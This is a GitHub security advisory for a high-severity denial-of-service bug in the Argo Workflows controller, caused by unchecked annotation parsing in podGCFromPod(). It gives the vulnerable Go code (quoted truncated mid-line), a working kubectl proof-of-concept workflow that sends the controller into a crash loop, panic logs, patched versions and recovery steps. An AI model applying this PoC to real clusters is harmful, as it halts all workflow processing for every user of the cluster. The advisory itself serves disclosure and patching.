Unchecked annotation parsing in pod informer crashes Argo Workflows controller

High **Joibel** published **GHSA-5jv8-h7qh-rf5p** 2 days ago

Package

github.com/argoproj/argo-workflows (Go)

Affected versions	Patched versions
>=4.0.0, <=4.0.4	4.0.5
>=3.7.0, <=3.7.13	3.7.14
>=3.6.5, <=3.6.19	

Description

Summary

An unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

Details

`podGCFromPod()` splits the annotation value on "/" and unconditionally accesses `parts[1]`:

```
func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
        parts := strings.Split(val, "/")
        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: p
    }
    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}
```

If the annotation value contains no "/", `parts` has length 1 and `parts[1]` panics with index out of range.

The code was introduced in #14129 and affects versions:

- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
- 3.7.x: v3.7.0-rc1 through v3.7.12
- 4.x: v4.0.0-rc1 through v4.0.3
- Not affected: v3.6.4 and earlier

PoC

Apply this workflow to a cluster running the Argo Workflows controller:

```
kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF
```

Within seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:

```
panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
    /home/runner/work/argo-workflows/argo-
workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.
(*Controller).commonPodEvent(...)
    /home/runner/work/argo-workflows/argo-
workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.
(*Controller).addPodEvent(...)
```

```
    /home/runner/work/argo-workflows/argo-
workflows/workflow/controller/pod/controller.go:246
```

Recovery requires deleting the poisoned workflow:

```
kubectl delete workflow -n argo crash-podgc
```

Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

Severity

High 7.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	None
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

CVE ID

CVE-2026-40886

Weaknesses

▶ CWE-129

Credits

thevilledev Reporter